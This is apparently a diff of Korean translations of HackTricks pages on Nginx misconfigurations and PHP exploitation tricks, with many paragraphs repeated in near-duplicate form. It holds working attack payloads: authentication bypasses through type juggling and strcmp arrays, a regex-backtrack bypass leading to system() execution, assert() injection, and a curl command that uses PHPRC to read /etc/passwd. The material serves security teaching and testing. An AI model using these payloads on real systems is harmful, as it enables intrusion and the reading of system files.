이 구성에서 `/etc/nginx`는 루트 디렉토리로 지정됩니다. 이 설정은 `/hello.txt`와 같은 지정된 루트 디렉토리 내의 파일에 대한 접근을 허용합니다. 그러나 특정 위치(`location /hello.txt`)만 정의되어 있다는 점이 중요합니다. 루트 위치(`location / {...}`)에 대한 구성은 없습니다. 이 누락은 루트 지시어가 전역적으로 적용되어, 루트 경로 `/`에 대한 요청이 `/etc/nginx` 아래의 파일에 접근할 수 있게 합니다.
이 구성에서 `/etc/nginx`는 루트 디렉토리로 지정됩니다. 이 설정은 `/hello.txt`와 같은 지정된 루트 디렉토리 내의 파일에 대한 접근을 허용합니다. 그러나 특정 위치(`location /hello.txt`)만 정의되어 있다는 점이 중요합니다. 루트 위치(`location / {...}`)에 대한 구성은 없습니다. 이 누락은 루트 지시어가 전역적으로 적용됨을 의미하며, `/` 루트 경로에 대한 요청이 `/etc/nginx` 아래의 파일에 접근할 수 있게 합니다.
이 구성에서 중요한 보안 고려 사항이 발생합니다. `GET /nginx.conf`와 같은 간단한 `GET` 요청은 `/etc/nginx/nginx.conf`에 위치한 Nginx 구성 파일을 제공함으로써 민감한 정보를 노출할 수 있습니다. 루트를 `/etc`와 같은 덜 민감한 디렉토리로 설정하면 이 위험을 완화할 수 있지만, 여전히 다른 구성 파일, 접근 로그 및 HTTP 기본 인증에 사용되는 암호화된 자격 증명과 같은 다른 중요한 파일에 대한 의도치 않은 접근을 허용할 수 있습니다.
@ -112,14 +112,14 @@ Connection: keep-alive
Location: https://example.com/
Detectify: clrf
```
CRLF 주입 및 응답 분할의 위험에 대해 더 알아보려면 [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)를 방문하세요.
CRLF 주입 및 응답 분할의 위험에 대해 더 알아보려면 [여기](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)를 방문하세요.
또한 이 기술은 [**이 강연에서 설명됩니다**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) 취약한 예제와 탐지 메커니즘과 함께. 예를 들어, 블랙박스 관점에서 이 잘못된 구성을 탐지하기 위해 다음 요청을 사용할 수 있습니다:
* `https://example.com/%20X` - 모든 HTTP 코드
* `https://example.com/%20H` - 400 잘못된 요청
취약한 경우, 첫 번째는 "X"가 모든 HTTP 메서드이므로 반환되고, 두 번째는 H가 유효한 메서드가 아니므로 오류를 반환합니다. 따라서 서버는 다음과 같은 것을 받게 됩니다: `GET / H HTTP/1.1` 이로 인해 오류가 발생합니다.
취약한 경우, 첫 번째는 "X"가 모든 HTTP 메서드이므로 반환되고, 두 번째는 H가 유효한 메서드가 아니므로 오류를 반환합니다. 따라서 서버는 다음과 같은 내용을 수신하게 됩니다: `GET / H HTTP/1.1` 이로 인해 오류가 발생합니다.
또 다른 탐지 예제는 다음과 같습니다:
@ -148,19 +148,19 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
```
### Any variable
**사용자 제공 데이터**가 특정 상황에서 **Nginx 변수**로 처리될 수 있다는 것이 발견되었습니다. 이 행동의 원인은 다소 불분명하지만, 드물지 않으며 검증하기도 간단하지 않습니다. 이 이상 현상은 HackerOne의 보안 보고서에서 강조되었으며, [여기](https://hackerone.com/reports/370094)에서 확인할 수 있습니다. 오류 메시지에 대한 추가 조사는 [Nginx 코드베이스의 SSI 필터 모듈](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) 내에서 발생하는 것을 확인하게 되었으며, 서버 사이드 포함(SSI)이 근본 원인으로 지목되었습니다.
**사용자 제공 데이터**가 특정 상황에서 **Nginx 변수**로 처리될 수 있다는 것이 발견되었습니다. 이 행동의 원인은 다소 불분명하지만, 드물지 않으며 검증하기도 간단하지 않습니다. 이 이상 현상은 HackerOne의 보안 보고서에서 강조되었으며, [여기](https://hackerone.com/reports/370094)에서 확인할 수 있습니다. 오류 메시지에 대한 추가 조사는 [Nginx 코드베이스의 SSI 필터 모듈](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) 내에서 발생하는 것을 확인하게 되었으며, 서버 사이드 인클루드(SSI)가 근본 원인으로 지목되었습니다.
**잘못된 구성**을 **탐지하기 위해**, 다음 명령을 실행할 수 있으며, 이는 변수 출력을 테스트하기 위해 referer 헤더를 설정하는 것을 포함합니다:
```bash
$ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar
```
이 잘못된 구성에 대한 스캔 결과, 사용자가 Nginx 변수를 출력할 수 있는 여러 사례가 발견되었습니다. 그러나 취약한 인스턴스의 수가 감소한 것은 이 문제를 패치하기 위한 노력이 어느 정도 성공적이었다는 것을 시사합니다.
이 잘못된 구성에 대한 스캔 결과, 사용자가 Nginx 변수를 출력할 수 있는 여러 인스턴스가 발견되었습니다. 그러나 취약한 인스턴스의 수가 감소한 것은 이 문제를 패치하기 위한 노력이 어느 정도 성공적이었다는 것을 시사합니다.
## 원시 백엔드 응답 읽기
Nginx는 `proxy_pass`를 통해 백엔드에서 생성된 오류 및 HTTP 헤더를 가로채는 기능을 제공하여 내부 오류 메시지와 헤더를 숨기도록 설계되었습니다. 이는 Nginx가 백엔드 오류에 대한 사용자 정의 오류 페이지를 제공함으로써 이루어집니다. 그러나 Nginx가 잘못된 HTTP 요청을 처리할 때 문제가 발생합니다. 이러한 요청은 수신된 대로 백엔드로 전달되며, 백엔드의 원시 응답은 Nginx의 개입 없이 클라이언트에게 직접 전송됩니다.
Nginx는 `proxy_pass`를 통해 백엔드에서 생성된 오류 및 HTTP 헤더를 가로채는 기능을 제공하여 내부 오류 메시지와 헤더를 숨기도록 니다. 이는 Nginx가 백엔드 오류에 대한 사용자 정의 오류 페이지를 제공함으로써 이루어집니다. 그러나 Nginx가 잘못된 HTTP 요청을 처리할 때 문제가 발생합니다. 이러한 요청은 수신된 대로 백엔드로 전달되며, 백엔드의 원시 응답은 Nginx의 개입 없이 클라이언트에게 직접 전송됩니다.
uWSGI 애플리케이션을 포함한 예시 시나리오를 고려해 보십시오:
uWSGI 애플리케이션과 관련된 예시 시나리오를 고려해 보십시오:
```python
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
@ -174,7 +174,7 @@ proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
```
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): 이 지시어는 Nginx가 상태 코드가 300보다 큰 백엔드 응답에 대해 사용자 정의 응답을 제공할 수 있도록 합니다. 이는 예시로 든 uWSGI 애플리케이션의 경우 `500 Error` 응답이 Nginx에 의해 가로채지고 처리되도록 보장합니다.
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): 이 지시어는 Nginx가 상태 코드가 300보다 큰 백엔드 응답에 대해 사용자 정의 응답을 제공할 수 있도록 합니다. 이는 예시로 든 uWSGI 애플리케이션의 `500 Error` 응답이 Nginx에 의해 가로채지고 처리되도록 보장합니다.
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): 이름에서 알 수 있듯이, 이 지시어는 클라이언트로부터 지정된 HTTP 헤더를 숨겨 개인 정보 보호 및 보안을 강화합니다.
유효한 `GET` 요청이 이루어지면 Nginx는 이를 정상적으로 처리하여 비밀 헤더를 노출하지 않고 표준 오류 응답을 반환합니다. 그러나 유효하지 않은 HTTP 요청은 이 메커니즘을 우회하여 비밀 헤더와 오류 메시지를 포함한 원시 백엔드 응답이 노출됩니다.
@ -189,7 +189,7 @@ proxy_hide_header Secret-Header;
### **Maclicious Response Headers**
[**이 글**](https://mizu.re/post/cors-playground)에서 보여준 바와 같이, 웹 서버의 응답에 존재하는 특정 헤더는 Nginx 프록시의 동작을 변경합니다. 이들을 [**문서에서 확인**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)할 수 있습니다:
[**이 글**](https://mizu.re/post/cors-playground)에서 보여준 바와 같이, 웹 서버의 응답에 존재하는 특정 헤더는 Nginx 프록시의 동작을 변경할 수 있습니다. 이들에 대한 정보는 [**문서에서 확인할 수 있습니다**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
* `X-Accel-Redirect`: Nginx가 요청을 지정된 위치로 내부 리디렉션하도록 지시합니다.
* `X-Accel-Buffering`: Nginx가 응답을 버퍼링할지 여부를 제어합니다.
@ -234,7 +234,7 @@ resolver 8.8.8.8;
## proxy\_set\_header Upgrade & Connection
nginx 서버가 Upgrade 및 Connection 헤더를 전달하도록 구성된 경우, [**h2c Smuggling 공격**](../../pentesting-web/h2c-smuggling.md) 수행하여 보호된/내부 엔드포인트에 접근할 수 있습니다.
nginx 서버가 Upgrade 및 Connection 헤더를 전달하도록 구성된 경우 [**h2c Smuggling 공격**](../../pentesting-web/h2c-smuggling.md) 수행하여 보호된/내부 엔드포인트에 접근할 수 있습니다.
{% hint style="danger" %}
이 취약점은 공격자가 **`proxy_pass` 엔드포인트와 직접 연결을 설정할 수 있게 합니다** (`http://backend:9999`의 경우) 이 콘텐츠는 nginx에 의해 확인되지 않습니다.
@ -261,12 +261,12 @@ deny all;
}
```
{% hint style="warning" %}
`proxy_pass``http://backend:9999/socket.io`와 같은 특정 **경로**를 가리키고 있더라도, 연결은 `http://backend:9999`로 설정되므로 **내부 엔드포인트 내의 다른 경로에 연락할 수 있습니다. 따라서 proxy_pass의 URL에 경로가 지정되어 있는지는 중요하지 않습니다.**
`proxy_pass``http://backend:9999/socket.io`와 같은 특정 **경로**를 가리키고 있더라도, 연결은 `http://backend:9999`로 설정되므로 **해당 내부 엔드포인트 내의 다른 경로에 연락할 수 있습니다. 따라서 proxy_pass의 URL에 경로가 지정되어 있는지는 중요하지 않습니다.**
{% endhint %}
## 직접 해보세요
Detectify는 Docker를 사용하여 이 기사에서 논의된 몇 가지 잘못된 구성으로 취약한 Nginx 테스트 서버를 설정하고 직접 찾아볼 수 있는 GitHub 리포지토리를 만들었습니다!
Detectify는 Docker를 사용하여 이 기사에서 논의된 몇 가지 잘못된 구성으로 취약한 Nginx 테스트 서버를 설정 수 있는 GitHub 리포지토리를 만들었습니다. 직접 찾아보세요!
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
@ -288,9 +288,9 @@ Nginxpwner는 일반적인 Nginx 잘못된 구성 및 취약점을 찾기 위한
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,25 +1,25 @@
# PHP Tricks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks 지원하기</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -43,7 +43,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### 느슨한 비교/타입 조작 ( == )
`==`가 PHP에서 사용되면, 비교가 예상과 다르게 동작하는 예외적인 경우가 있습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 `===`를 사용해야 합니다.
PHP에서 `==`를 사용하면 예상치 못한 경우에 비교가 예상대로 작동하지 않습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 `===`를 사용해야 합니다.
PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -52,10 +52,10 @@ PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://ww
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` 숫자로 시작하지 않는 문자열은 숫자와 같습니다.
* `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교할 수 있으며, 숫자가 동일할 경우 True로 결과가 나옵니다 (문자열의 숫자는 숫자로 해석됩니다).
* `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식으로 구성된 문자열은 숫자가 동일할 경우 다른 숫자/문자열과 True로 비교될 수 있습니다 (문자열의 숫자는 숫자로 해석됩니다).
* `"0e3264578" == 0 --> True` "0e"로 시작하고 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
* `"0X3264578" == 0X --> True` "0"로 시작하고 그 뒤에 어떤 문자(여기서 X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
* `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` 문자열의 어떤 문자도 int 0과 같습니다.
자세한 정보는 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)에서 확인할 수 있습니다.
@ -72,7 +72,7 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
이 함수가 **모든 인증 확인**(비밀번호 확인과 같은)에 사용되면, 사용자가 비교의 한 쪽을 제어할 경우 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다(`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
이 함수가 **모든 인증 확인**(비밀번호 확인과 같은)에 사용되면, 사용자가 비교의 한 쪽을 제어할 경우, 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
@ -112,7 +112,7 @@ echo preg_match("/^.*1.*$/",$myinput);
"cmd": "cat /etc/passwd"
}
```
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
여기에서 예제를 찾으세요: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **길이 오류 우회**
@ -129,13 +129,13 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다.
간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다.
[이 Stackoverflow 스레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확해졌습니다:\
**정규 표현식이 100\_000회 이상의 재귀를 수행하게 만드는 입력을 보내어 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**.
정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1\_000\_000 (1M)입니다.\
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다 (500k 전진 및 500k 후진):
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다 (500k 전방 및 500k 후방):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@ -152,7 +152,7 @@ $obfs += ""; //int 7
```
## Execute After Redirect (EAR)
PHP가 다른 페이지로 리디렉션하고 있지만 **`Location`** 헤더가 설정된 후 **`die`** 또는 **`exit`** 함수가 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:
PHP가 다른 페이지로 리디렉션하고 있지만 **`Location`** 헤더가 설정된 후 **`die`** 또는 **`exit`** 함수가 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -172,15 +172,15 @@ readfile($page);
## 더 많은 트릭
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register\_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있는 경우 예를 들어 $\_GET\["param"]="1234"와 같이, **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송하여 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
* **같은 도메인의 PHPSESSION 쿠키는 같은 위치에 저장됩니다.** 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우** 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다.**\
이렇게 하면 **두 경로가 같은 이름의 변수를 접근할 경우** **path1의 해당 변수 값을 path2에 적용할 수 있습니다.** 그러면 path2는 path1의 변수를 유효한 것으로 간주합니다(쿠키에 path2에 해당하는 이름을 부여하여).
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register\_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있을 수 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있는 경우, 예를 들어 $\_GET\["param"]="1234", **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송하여 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
* **같은 도메인의 PHPSESSION 쿠키는 같은 위치에 저장됩니다.** 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우**, 한 경로가 다른 경로 쿠키의 값을 설정하여 **쿠키에 접근하게 만들 수 있습니다.**\
이렇게 하면 **두 경로가 같은 이름의 변수를 접근할 경우**, **path1의 그 변수의 값이 path2에 적용되도록 만들 수 있습니다.** 그러면 path2는 path1의 변수를 유효한 것으로 간주합니다(쿠키에 path2에 해당하는 이름을 부여하여).
* **사용자의 사용자 이름**이 있는 경우, 주소 **/\~\<USERNAME>**를 확인하여 php 디렉토리가 활성화되어 있는지 확인합니다.
* [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
이 함수는 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다.**\
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성하고** 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다.**\
지원되는 알고리즘은: `PASSWORD_DEFAULT``PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD\_DEFAULT는 자주 PASSWORD\_BCRYPT와 동일합니다.** 현재 **PASSWORD\_BCRYPT**는 **입력의 크기 제한이 72바이트**입니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
@ -195,7 +195,7 @@ True
[**이 트위터 스레드**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)에서 1000개 이상의 GET 파라미터, 1000개 이상의 POST 파라미터 또는 20개의 파일을 전송하면 PHP가 응답에서 헤더를 설정하지 않는 것을 볼 수 있습니다.
예를 들어 CSP 헤더가 코드에서 설정되는 것을 우회할 수 있게 합니다:
예를 들어 CSP 헤더가 설정된 코드에서 우회를 허용합니다:
```php
<?php
header("Content-Security-Policy: default-src 'none';");
@ -203,7 +203,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### 헤더를 설정하기 전에 본문 채우기
**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **헤더를 응답에 추가하려고 할 때 오류를 발생시키도록 충분히 긴 콘텐츠를 출력하게 할 수 있습니다.**\
**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **헤더를 응답에 추가하려고 할 때** 오류를 발생시키도록 **충분히 긴 콘텐츠**를 출력하게 할 수 있습니다.\
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키도록 했으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다):
![](<../../../.gitbook/assets/image (1085).png>)
@ -242,7 +242,7 @@ preg_replace("/a/e","phpinfo()","whatever")
```
### **Assert()를 통한 RCE**
php 내의 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**할 수 있게 해줍니다 (그리고 이에 따라 실행을 변경할 수 있습니다). 일반적으로 사용자 변수는 문자열의 중간에 삽입됩니다. 예를 들어:\
php 내의 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**할 수 있게 해줍니다 (그리고 이에 따라 실행을 변경할 수 있습니다). 일반적으로 사용자 변수는 문자열의 중간에 삽입됩니다. 예를 들어:\
`assert("strpos($_GET['page']),'..') === false")` --> 이 경우 **RCE**를 얻기 위해 다음과 같이 할 수 있습니다:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
@ -295,21 +295,21 @@ Different .htaccess shells can be found [here](https://github.com/wireghoul/htsh
If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다 (이 경우에는 작동하지 않을 수 있습니다).
* **`PHPRC`** : PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하세요. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가하세요. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 다른 코드가 실행되기 전에 PHP 런타임에 의해 실행됩니다.
1. 쉘코드를 포함한 PHP 파일을 업로드합니다.
2. 1단계에서 업로드한 파일을 실행하도록 PHP 전처리기에 지시하는 **`auto_prepend_file`** 지시어를 포함 두 번째 파일을 업로드합니다.
* **`PHPRC`** : PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하십시오. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가하십시오. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 다른 코드가 실행되기 전에 PHP 런타임에 의해 실행됩니다.
1. 우리의 쉘코드를 포함하는 PHP 파일을 업로드합니다.
2. 1단계에서 업로드한 파일을 실행하도록 PHP 전처리기에 지시하는 **`auto_prepend_file`** 지시어를 포함하는 두 번째 파일을 업로드합니다.
3. 2단계에서 업로드한 파일로 `PHPRC` 변수를 설정합니다.
* 이 체인을 실행하는 방법에 대한 더 많은 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인하세요.
* 이 체인을 실행하는 방법에 대한 더 많은 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인하십시오.
* **PHPRC** - 또 다른 옵션
* 파일을 **업로드할 수 없는 경우**, FreeBSD에서 **`stdin`**을 포함하는 "파일" `/dev/fd/0`를 사용할 수 있습니다:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 전처리합니다:
